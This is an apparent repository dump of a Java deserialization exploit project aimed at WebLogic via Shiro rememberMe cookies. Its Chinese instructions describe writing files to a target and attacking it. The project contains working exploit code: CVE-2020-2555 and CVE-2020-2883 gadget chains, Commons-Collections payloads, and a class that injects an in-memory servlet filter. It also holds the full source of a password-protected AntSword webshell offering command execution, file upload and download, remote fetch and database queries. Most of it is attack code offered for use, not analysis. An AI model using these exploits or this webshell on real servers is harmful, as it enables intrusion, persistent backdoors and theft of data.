| import java.io.FileInputStream; 1445 | import java.lang.reflect.Field; 1446 | import java.lang.reflect.Method; 1447 | import java.util.Map; 1448 | 1449 | public class InjectFilterShell { 1450 | static { 1451 | try { 1452 | Class executeThread = Class.forName("weblogic.work.ExecuteThread"); 1453 | Method m = executeThread.getDeclaredMethod("getCurrentWork"); 1454 | Object currentWork = m.invoke(Thread.currentThread()); 1455 | 1456 | Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); 1457 | connectionHandlerF.setAccessible(true); 1458 | Object obj = connectionHandlerF.get(currentWork); 1459 | 1460 | Field requestF = obj.getClass().getDeclaredField("request"); 1461 | requestF.setAccessible(true); 1462 | obj = requestF.get(obj); 1463 | 1464 | Field contextF = obj.getClass().getDeclaredField("context"); 1465 | contextF.setAccessible(true); 1466 | Object context = contextF.get(obj); 1467 | 1468 | Field classLoaderF = context.getClass().getDeclaredField("classLoader"); 1469 | classLoaderF.setAccessible(true); 1470 | ClassLoader cl = (ClassLoader) classLoaderF.get(context); 1471 | 1472 | Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); 1473 | cachedClassesF.setAccessible(true); 1474 | Object cachedClass = cachedClassesF.get(cl); 1475 | 1476 | Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); 1477 | if (getM.invoke(cachedClass, "shell") == null) { 1478 | byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class"); 1479 | Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 1480 | defineClass.setAccessible(true); 1481 | Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length); 1482 | 1483 | String evilName = "gameName" + System.currentTimeMillis(); 1484 | String filterName = "gameFilter" + System.currentTimeMillis(); 1485 | String[] url = new String[]{"/*"}; 1486 | 1487 | Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); 1488 | putM.invoke(cachedClass, filterName, evilFilterClass); 1489 | Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); 1490 | Object filterManager = getFilterManagerM.invoke(context); 1491 | 1492 | Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 1493 | registerFilterM.setAccessible(true); 1494 | registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null); 1495 | } 1496 | } catch (Exception e) { 1497 | e.printStackTrace(); 1498 | } 1499 | } 1500 | 1501 | public static byte[] getBytesByFile(String pathStr) { 1502 | File file = new File(pathStr); 1503 | try { 1504 | FileInputStream fis = new FileInputStream(file); 1505 | ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); 1506 | byte[] b = new byte[1000]; 1507 | int n; 1508 | while ((n = fis.read(b)) != -1) { 1509 | bos.write(b, 0, n); 1510 | } 1511 | fis.close(); 1512 | byte[] data = bos.toByteArray(); 1513 | bos.close(); 1514 | return data; 1515 | } catch (Exception e) { 1516 | e.printStackTrace(); 1517 | } 1518 | return null; 1519 | } 1520 | } 1521 | ``` 1522 | 1523 | 编译打jar包之后,通过命令执行base64 -d写入,用于我们之后通过URLClassLoader加载这个jar包。因为代码在static块中,所以加载时会自动执行。 1524 | 1525 | 1526 | 1527 | 再来写通过2883来URLClassLoader我们之前jar包的代码 1528 | 1529 | ```java 1530 | package org.chabug.memshell; 1531 | 1532 | import com.tangosol.util.ValueExtractor; 1533 | import com.tangosol.util.comparator.ExtractorComparator; 1534 | import com.tangosol.util.extractor.ChainedExtractor; 1535 | import com.tangosol.util.extractor.ReflectionExtractor; 1536 | import org.chabug.util.EncryptUtil; 1537 | import org.chabug.util.Serializables; 1538 | import ysoserial.payloads.util.Reflections; 1539 | 1540 | import java.lang.reflect.Field; 1541 | import java.net.URL; 1542 | import java.net.URLClassLoader; 1543 | import java.util.PriorityQueue; 1544 | 1545 | public class CVE_2020_2883_URLClassLoader { 1546 | public static void main(String[] args) { 1547 | try { 1548 | ReflectionExtractor extractor1 = new ReflectionExtractor( 1549 | "getConstructor", 1550 | new Object[]{new Class[]{URL[].class}} 1551 | ); 1552 | 1553 | ReflectionExtractor extractor2 = new ReflectionExtractor( 1554 | "newInstance", 1555 | new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}} 1556 | ); 1557 | 1558 | // load filter shell 1559 | ReflectionExtractor extractor3 = new ReflectionExtractor( 1560 | "loadClass", 1561 | new Object[]{"org.chabug.memshell.InjectFilterShell"} 1562 | ); 1563 | 1564 | ReflectionExtractor extractor4 = new ReflectionExtractor( 1565 | "getConstructor", 1566 | new Object[]{new Class[]{}} 1567 | ); 1568 | 1569 | ReflectionExtractor extractor5 = new ReflectionExtractor( 1570 | "newInstance", 1571 | new Object[]{new Object[]{}} 1572 | ); 1573 | 1574 | 1575 | ValueExtractor[] valueExtractors = new ValueExtractor[]{ 1576 | extractor1, 1577 | extractor2, 1578 | extractor3, 1579 | extractor4, 1580 | extractor5, 1581 | }; 1582 | Class clazz = ChainedExtractor.class.getSuperclass(); 1583 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 1584 | m_aExtractor.setAccessible(true); 1585 | 1586 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 1587 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 1588 | reflectionExtractor 1589 | }; 1590 | 1591 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 1592 | 1593 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 1594 | queue.add("1"); 1595 | queue.add("1"); 1596 | m_aExtractor.set(chainedExtractor1, valueExtractors); 1597 | 1598 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 1599 | queueArray[0] = URLClassLoader.class; 1600 | queueArray[1] = "1"; 1601 | 1602 | byte[] buf = Serializables.serializeToBytes(queue); 1603 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 1604 | String rememberMe = EncryptUtil.shiroEncrypt(key, buf); 1605 | System.out.println(rememberMe); 1606 | } catch (Exception e) { 1607 | e.printStackTrace(); 1608 | } 1609 | } 1610 | 1611 | } 1612 | ``` 1613 | 1614 | 通过URLClassLoader加载org.chabug.memshell.InjectFilterShell类,会自动执行static,static中会读取C:/Users/Administrator/Desktop/AntSwordFilterShell.class的字节码,然后通过定义字节码的形式注入AntSwordFilterShell类,AntSwordFilterShell也就是我们的Filter shell,代码如下: 1615 | 1616 | ```java 1617 | package org.chabug.memshell; 1618 | 1619 | import javax.servlet.*; 1620 | import java.io.*; 1621 | import java.net.HttpURLConnection; 1622 | import java.net.URL; 1623 | import java.sql.*; 1624 | import java.text.SimpleDateFormat; 1625 | 1626 | public class AntSwordFilterShell implements Filter{ 1627 | 1628 | String Pwd = "th1sIsMySecretPassW0rd!"; //连接密码 1629 | String encoder = ""; // default 1630 | String cs = "UTF-8"; // 脚本自身编码 1631 | 1632 | String EC(String s) throws Exception { 1633 | if (encoder.equals("hex") || encoder == "hex") return s; 1634 | return new String(s.getBytes("ISO-8859-1"), cs); 1635 | } 1636 | 1637 | String showDatabases(String encode, String conn) throws Exception { 1638 | String sql = "show databases"; // mysql 1639 | String columnsep = "\t"; 1640 | String rowsep = ""; 1641 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 1642 | } 1643 | 1644 | String showTables(String encode, String conn, String dbname) throws Exception { 1645 | String sql = "show tables from " + dbname; // mysql 1646 | String columnsep = "\t"; 1647 | String rowsep = ""; 1648 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 1649 | } 1650 | 1651 | String showColumns(String encode, String conn, String dbname, String table) throws Exception { 1652 | String columnsep = "\t"; 1653 | String rowsep = ""; 1654 | String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql 1655 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 1656 | } 1657 | 1658 | String query(String encode, String conn, String sql) throws Exception { 1659 | String columnsep = "\t|\t"; // general 1660 | String rowsep = "\r\n"; 1661 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 1662 | } 1663 | 1664 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 1665 | throws Exception { 1666 | String ret = ""; 1667 | conn = (EC(conn)); 1668 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 1669 | Class.forName(x[0].trim()); 1670 | String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder); 1671 | Connection c = DriverManager.getConnection(url); 1672 | Statement stmt = c.createStatement(); 1673 | ResultSet rs = stmt.executeQuery(sql); 1674 | ResultSetMetaData rsmd = rs.getMetaData(); 1675 | 1676 | if (needcoluname) { 1677 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 1678 | String columnName = rsmd.getColumnName(i); 1679 | ret += columnName + columnsep; 1680 | } 1681 | ret += rowsep; 1682 | } 1683 | 1684 | while (rs.next()) { 1685 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 1686 | String columnValue = rs.getString(i); 1687 | ret += columnValue + columnsep; 1688 | } 1689 | ret += rowsep; 1690 | } 1691 | return ret; 1692 | } 1693 | 1694 | String WwwRootPathCode(ServletRequest r) throws Exception { 1695 | // String d = r.getSession().getServletContext().getRealPath("/"); 1696 | String d = this.getClass().getClassLoader().getResource("/").getPath(); 1697 | String s = ""; 1698 | if (!d.substring(0, 1).equals("/")) { 1699 | File[] roots = File.listRoots(); 1700 | for (int i = 0; i < roots.length; i++) { 1701 | s += roots[i].toString().substring(0, 2) + ""; 1702 | } 1703 | } else { 1704 | s += "/"; 1705 | } 1706 | return s; 1707 | } 1708 | 1709 | String FileTreeCode(String dirPath) throws Exception { 1710 | File oF = new File(dirPath), l[] = oF.listFiles(); 1711 | String s = "", sT, sQ, sF = ""; 1712 | java.util.Date dt; 1713 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 1714 | for (int i = 0; i < l.length; i++) { 1715 | dt = new java.util.Date(l[i].lastModified()); 1716 | sT = fm.format(dt); 1717 | sQ = l[i].canRead() ? "R" : ""; 1718 | sQ += l[i].canWrite() ? " W" : ""; 1719 | if (l[i].isDirectory()) { 1720 | s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 1721 | } else { 1722 | sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 1723 | } 1724 | } 1725 | return s += sF; 1726 | } 1727 | 1728 | String ReadFileCode(String filePath) throws Exception { 1729 | String l = "", s = ""; 1730 | BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); 1731 | while ((l = br.readLine()) != null) { 1732 | s += l + "\r\n"; 1733 | } 1734 | br.close(); 1735 | return s; 1736 | } 1737 | 1738 | String WriteFileCode(String filePath, String fileContext) throws Exception { 1739 | BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); 1740 | bw.write(fileContext); 1741 | bw.close(); 1742 | return "1"; 1743 | } 1744 | 1745 | String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { 1746 | File f = new File(fileOrDirPath); 1747 | if (f.isDirectory()) { 1748 | File x[] = f.listFiles(); 1749 | for (int k = 0; k < x.length; k++) { 1750 | if (!x[k].delete()) { 1751 | DeleteFileOrDirCode(x[k].getPath()); 1752 | } 1753 | } 1754 | } 1755 | f.delete(); 1756 | return "1"; 1757 | } 1758 | 1759 | void DownloadFileCode(String filePath, ServletResponse r) throws Exception { 1760 | int n; 1761 | byte[] b = new byte[512]; 1762 | r.reset(); 1763 | ServletOutputStream os = r.getOutputStream(); 1764 | BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); 1765 | os.write(("->|").getBytes(), 0, 3); 1766 | while ((n = is.read(b, 0, 512)) != -1) { 1767 | os.write(b, 0, n); 1768 | } 1769 | os.write(("|<-").getBytes(), 0, 3); 1770 | os.close(); 1771 | is.close(); 1772 | } 1773 | 1774 | String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { 1775 | String h = "0123456789ABCDEF"; 1776 | File f = new File(savefilePath); 1777 | f.createNewFile(); 1778 | FileOutputStream os = new FileOutputStream(f); 1779 | for (int i = 0; i < fileHexContext.length(); i += 2) { 1780 | os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); 1781 | } 1782 | os.close(); 1783 | return "1"; 1784 | } 1785 | 1786 | String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { 1787 | File sf = new File(sourceFilePath), df = new File(targetFilePath); 1788 | if (sf.isDirectory()) { 1789 | if (!df.exists()) { 1790 | df.mkdir(); 1791 | } 1792 | File z[] = sf.listFiles(); 1793 | for (int j = 0; j < z.length; j++) { 1794 | CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); 1795 | } 1796 | } else { 1797 | FileInputStream is = new FileInputStream(sf); 1798 | FileOutputStream os = new FileOutputStream(df); 1799 | int n; 1800 | byte[] b = new byte[1024]; 1801 | while ((n = is.read(b, 0, 1024)) != -1) { 1802 | os.write(b, 0, n); 1803 | } 1804 | is.close(); 1805 | os.close(); 1806 | } 1807 | return "1"; 1808 | } 1809 | 1810 | String RenameFileOrDirCode(String oldName, String newName) throws Exception { 1811 | File sf = new File(oldName), df = new File(newName); 1812 | sf.renameTo(df); 1813 | return "1"; 1814 | } 1815 | 1816 | String CreateDirCode(String dirPath) throws Exception { 1817 | File f = new File(dirPath); 1818 | f.mkdir(); 1819 | return "1"; 1820 | } 1821 | 1822 | String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { 1823 | File f = new File(fileOrDirPath); 1824 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 1825 | java.util.Date dt = fm.parse(aTime); 1826 | f.setLastModified(dt.getTime()); 1827 | return "1"; 1828 | } 1829 | 1830 | String WgetCode(String urlPath, String saveFilePath) throws Exception { 1831 | URL u = new URL(urlPath); 1832 | int n = 0; 1833 | FileOutputStream os = new FileOutputStream(saveFilePath); 1834 | HttpURLConnection h = (HttpURLConnection) u.openConnection(); 1835 | InputStream is = h.getInputStream(); 1836 | byte[] b = new byte[512]; 1837 | while ((n = is.read(b)) != -1) { 1838 | os.write(b, 0, n); 1839 | } 1840 | os.close(); 1841 | is.close(); 1842 | h.disconnect(); 1843 | return "1"; 1844 | } 1845 | 1846 | String SysInfoCode(ServletRequest r) throws Exception { 1847 | // String d = r.getServletContext().getRealPath("/"); 1848 | String d = this.getClass().getClassLoader().getResource("/").getPath(); 1849 | String serverInfo = System.getProperty("os.name"); 1850 | String separator = File.separator; 1851 | String user = System.getProperty("user.name"); 1852 | String driverlist = WwwRootPathCode(r); 1853 | return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; 1854 | } 1855 | 1856 | boolean isWin() { 1857 | String osname = System.getProperty("os.name"); 1858 | osname = osname.toLowerCase(); 1859 | if (osname.startsWith("win")) 1860 | return true; 1861 | return false; 1862 | } 1863 | 1864 | String ExecuteCommandCode(String cmdPath, String command) throws Exception { 1865 | StringBuffer sb = new StringBuffer(""); 1866 | String[] c = {cmdPath, !isWin() ? "-c" : "/c", command}; 1867 | Process p = Runtime.getRuntime().exec(c); 1868 | CopyInputStream(p.getInputStream(), sb); 1869 | CopyInputStream(p.getErrorStream(), sb); 1870 | return sb.toString(); 1871 | } 1872 | 1873 | String decode(String str) { 1874 | byte[] bt = null; 1875 | try { 1876 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 1877 | bt = decoder.decodeBuffer(str); 1878 | } catch (IOException e) { 1879 | e.printStackTrace(); 1880 | } 1881 | return new String(bt); 1882 | } 1883 | 1884 | String decode(String str, String encode) { 1885 | if (encode.equals("hex") || encode == "hex") { 1886 | if (str == "null" || str.equals("null")) { 1887 | return ""; 1888 | } 1889 | StringBuilder sb = new StringBuilder(); 1890 | StringBuilder temp = new StringBuilder(); 1891 | try { 1892 | for (int i = 0; i < str.length() - 1; i += 2) { 1893 | String output = str.substring(i, (i + 2)); 1894 | int decimal = Integer.parseInt(output, 16); 1895 | sb.append((char) decimal); 1896 | temp.append(decimal); 1897 | } 1898 | } catch (Exception e) { 1899 | e.printStackTrace(); 1900 | } 1901 | return sb.toString(); 1902 | } else if (encode.equals("base64") || encode == "base64") { 1903 | byte[] bt = null; 1904 | try { 1905 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 1906 | bt = decoder.decodeBuffer(str); 1907 | } catch (IOException e) { 1908 | e.printStackTrace(); 1909 | } 1910 | return new String(bt); 1911 | } 1912 | return str; 1913 | } 1914 | 1915 | void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { 1916 | String l; 1917 | BufferedReader br = new BufferedReader(new InputStreamReader(is)); 1918 | while ((l = br.readLine()) != null) { 1919 | sb.append(l + "\r\n"); 1920 | } 1921 | br.close(); 1922 | } 1923 | 1924 | public void init(FilterConfig f) throws ServletException { 1925 | } 1926 | 1927 | 1928 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 1929 | if (request.getParameter("size") != null) { 1930 | response.setContentType("text/html"); 1931 | response.setCharacterEncoding(cs); 1932 | StringBuffer sb = new StringBuffer(""); 1933 | try { 1934 | String funccode = EC(request.getParameter(Pwd) + ""); 1935 | String z0 = decode(EC(request.getParameter("z0") + ""), encoder); 1936 | String z1 = decode(EC(request.getParameter("z1") + ""), encoder); 1937 | String z2 = decode(EC(request.getParameter("z2") + ""), encoder); 1938 | String z3 = decode(EC(request.getParameter("z3") + ""), encoder); 1939 | String[] pars = {z0, z1, z2, z3}; 1940 | sb.append("->|"); 1941 | 1942 | if (funccode.equals("B")) { 1943 | sb.append(FileTreeCode(pars[1])); 1944 | } else if (funccode.equals("C")) { 1945 | sb.append(ReadFileCode(pars[1])); 1946 | } else if (funccode.equals("D")) { 1947 | sb.append(WriteFileCode(pars[1], pars[2])); 1948 | } else if (funccode.equals("E")) { 1949 | sb.append(DeleteFileOrDirCode(pars[1])); 1950 | } else if (funccode.equals("F")) { 1951 | DownloadFileCode(pars[1], response); 1952 | } else if (funccode.equals("U")) { 1953 | sb.append(UploadFileCode(pars[1], pars[2])); 1954 | } else if (funccode.equals("H")) { 1955 | sb.append(CopyFileOrDirCode(pars[1], pars[2])); 1956 | } else if (funccode.equals("I")) { 1957 | sb.append(RenameFileOrDirCode(pars[1], pars[2])); 1958 | } else if (funccode.equals("J")) { 1959 | sb.append(CreateDirCode(pars[1])); 1960 | } else if (funccode.equals("K")) { 1961 | sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); 1962 | } else if (funccode.equals("L")) { 1963 | sb.append(WgetCode(pars[1], pars[2])); 1964 | } else if (funccode.equals("M")) { 1965 | sb.append(ExecuteCommandCode(pars[1], pars[2])); 1966 | } else if (funccode.equals("N")) { 1967 | sb.append(showDatabases(pars[0], pars[1])); 1968 | } else if (funccode.equals("O")) { 1969 | sb.append(showTables(pars[0], pars[1], pars[2])); 1970 | } else if (funccode.equals("P")) { 1971 | sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); 1972 | } else if (funccode.equals("Q")) { 1973 | sb.append(query(pars[0], pars[1], pars[2])); 1974 | } else if (funccode.equals("A")) { 1975 | sb.append(SysInfoCode(request)); 1976 | } 1977 | } catch (Exception e) { 1978 | sb.append("ERROR" + "://" + e.toString()); 1979 | e.printStackTrace(); 1980 | } 1981 | sb.append("|<-"); 1982 | response.getWriter().print(sb.toString()); 1983 | } else { 1984 | chain.doFilter(request, response); 1985 | } 1986 | } 1987 | 1988 | public void destroy() { 1989 | } 1990 | } 1991 | ``` 1992 | 1993 | 现在就可以直接打了。先把org.chabug.memshell.InjectFilterShell打jar包 1994 | 1995 | ```bash 1996 | jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class 1997 | ``` 1998 | 1999 | ![image-20200825105630712](Java反序列化.assets/image-20200825105630712.png) 2000 | 2001 | 然后把tttt.jar和AntSwordFilterShell.class写入目标。最后用CVE_2020_2883_URLClassLoader生成rememberMe Cookie打目标就行了。 2002 | 2003 | 2004 | 2005 | URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell 2006 | 2007 | 2008 | 2009 | 演示图: 2010 | 2011 | ![](Java反序列化.assets/antshell.gif) -------------------------------------------------------------------------------- /calc.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/calc.jar -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.chabug 8 | JavaSerialize 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | org.apache.commons 15 | commons-collections4 16 | 4.0 17 | 18 | 19 | commons-collections 20 | commons-collections 21 | 3.1 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/cve/CVE_2020_2555.java: -------------------------------------------------------------------------------- 1 | package org.chabug.cve; 2 | 3 | import com.tangosol.util.extractor.ChainedExtractor; 4 | import com.tangosol.util.extractor.ReflectionExtractor; 5 | import com.tangosol.util.filter.LimitFilter; 6 | import org.chabug.util.Serializables; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | import java.lang.reflect.Field; 10 | 11 | public class CVE_2020_2555 { 12 | public static void main(String[] args) throws Exception { 13 | ReflectionExtractor extractor1 = new ReflectionExtractor( 14 | "getMethod", 15 | new Object[]{"getRuntime", new Class[0]} 16 | 17 | ); 18 | 19 | // get invoke() to execute exec() 20 | ReflectionExtractor extractor2 = new ReflectionExtractor( 21 | "invoke", 22 | new Object[]{null, new Object[0]} 23 | 24 | ); 25 | 26 | // invoke("exec","calc") 27 | ReflectionExtractor extractor3 = new ReflectionExtractor( 28 | "exec", 29 | new Object[]{new String[]{"cmd", "/c", "calc"}} 30 | ); 31 | 32 | ReflectionExtractor[] extractors = { 33 | extractor1, 34 | extractor2, 35 | extractor3, 36 | }; 37 | 38 | ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); 39 | LimitFilter limitFilter = new LimitFilter(); 40 | 41 | //m_comparator 42 | Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); 43 | m_comparator.setAccessible(true); 44 | m_comparator.set(limitFilter, chainedExtractor); 45 | 46 | //m_oAnchorTop 47 | Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); 48 | m_oAnchorTop.setAccessible(true); 49 | m_oAnchorTop.set(limitFilter, Runtime.class); 50 | 51 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 52 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 53 | field.setAccessible(true); 54 | field.set(badAttributeValueExpException, limitFilter); 55 | 56 | // serialize 57 | 58 | byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException); 59 | Serializables.deserializeFromBytes(buf); 60 | 61 | } 62 | 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/cve/CVE_2020_2883.java: -------------------------------------------------------------------------------- 1 | package org.chabug.cve; 2 | 3 | import com.tangosol.util.ValueExtractor; 4 | import com.tangosol.util.comparator.ExtractorComparator; 5 | import com.tangosol.util.extractor.ChainedExtractor; 6 | import com.tangosol.util.extractor.ReflectionExtractor; 7 | import org.chabug.util.EncryptUtil; 8 | import org.chabug.util.Serializables; 9 | import ysoserial.payloads.util.Reflections; 10 | 11 | import java.lang.reflect.Field; 12 | import java.util.PriorityQueue; 13 | 14 | public class CVE_2020_2883 { 15 | public static void main(String[] args) throws Exception { 16 | ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); 17 | ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); 18 | ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}}); 19 | 20 | ValueExtractor[] valueExtractors = new ValueExtractor[]{ 21 | reflectionExtractor1, 22 | reflectionExtractor2, 23 | reflectionExtractor3, 24 | }; 25 | 26 | Class clazz = ChainedExtractor.class.getSuperclass(); 27 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 28 | m_aExtractor.setAccessible(true); 29 | 30 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 31 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 32 | reflectionExtractor 33 | }; 34 | 35 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 36 | 37 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 38 | queue.add("1"); 39 | queue.add("1"); 40 | m_aExtractor.set(chainedExtractor1, valueExtractors); 41 | 42 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 43 | queueArray[0] = Runtime.class; 44 | queueArray[1] = "1"; 45 | 46 | byte[] buf = Serializables.serializeToBytes(queue); 47 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 48 | String rememberMe = EncryptUtil.shiroEncrypt(key, buf); 49 | System.out.println(rememberMe); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/CC2.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.apache.commons.collections4.comparators.TransformingComparator; 4 | import org.apache.commons.collections4.functors.InvokerTransformer; 5 | import org.chabug.util.Serializables; 6 | import ysoserial.payloads.util.Gadgets; 7 | import ysoserial.payloads.util.Reflections; 8 | 9 | import java.util.PriorityQueue; 10 | 11 | public class CC2 { 12 | public static void main(String[] args) throws Exception { 13 | final Object templates = Gadgets.createTemplatesImpl("calc"); 14 | // mock method name until armed 15 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 16 | 17 | // create queue with numbers and basic comparator 18 | final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); 19 | // stub data for replacement later 20 | queue.add(1); 21 | queue.add(1); 22 | 23 | // switch method called by comparator 24 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 25 | 26 | // switch contents of queue 27 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 28 | queueArray[0] = templates; 29 | queueArray[1] = 1; 30 | 31 | 32 | byte[] bytes = Serializables.serializeToBytes(queue); 33 | Serializables.deserializeFromBytes(bytes); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/CC5.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import org.chabug.util.Serializables; 10 | 11 | import javax.management.BadAttributeValueExpException; 12 | import java.lang.reflect.Field; 13 | import java.util.HashMap; 14 | import java.util.Map; 15 | 16 | public class CC5 { 17 | 18 | public static void main(String[] args) throws Exception { 19 | // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); 20 | Transformer[] transformers = new Transformer[]{ 21 | // 传入Runtime类 22 | new ConstantTransformer(Runtime.class), 23 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() 24 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 25 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) 26 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 27 | // 调用exec("calc") 28 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) 29 | }; 30 | Transformer chain = new ChainedTransformer(transformers); 31 | // chain.transform(null); 32 | HashMap hashMap = new HashMap(); 33 | Map map = LazyMap.decorate(hashMap, chain); 34 | // map.get("asd"); 35 | TiedMapEntry key = new TiedMapEntry(map, "key"); 36 | // key.toString(); 37 | 38 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 39 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 40 | field.setAccessible(true); 41 | field.set(badAttributeValueExpException, key); 42 | 43 | 44 | byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException); 45 | Serializables.deserializeFromBytes(bytes); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/Calc.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import java.io.IOException; 4 | 5 | public class Calc { 6 | static { 7 | try { 8 | Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); 9 | } catch (IOException e) { 10 | e.printStackTrace(); 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/EvilSerialize.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.chabug.entity.EvilClass; 4 | import org.chabug.util.Serializables; 5 | 6 | public class EvilSerialize { 7 | public static void main(String[] args) throws Exception { 8 | EvilClass evilObj = new EvilClass(); 9 | evilObj.setName("calc"); 10 | byte[] bytes = Serializables.serializeToBytes(evilObj); 11 | EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); 12 | System.out.println(o); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/MyCC.java: 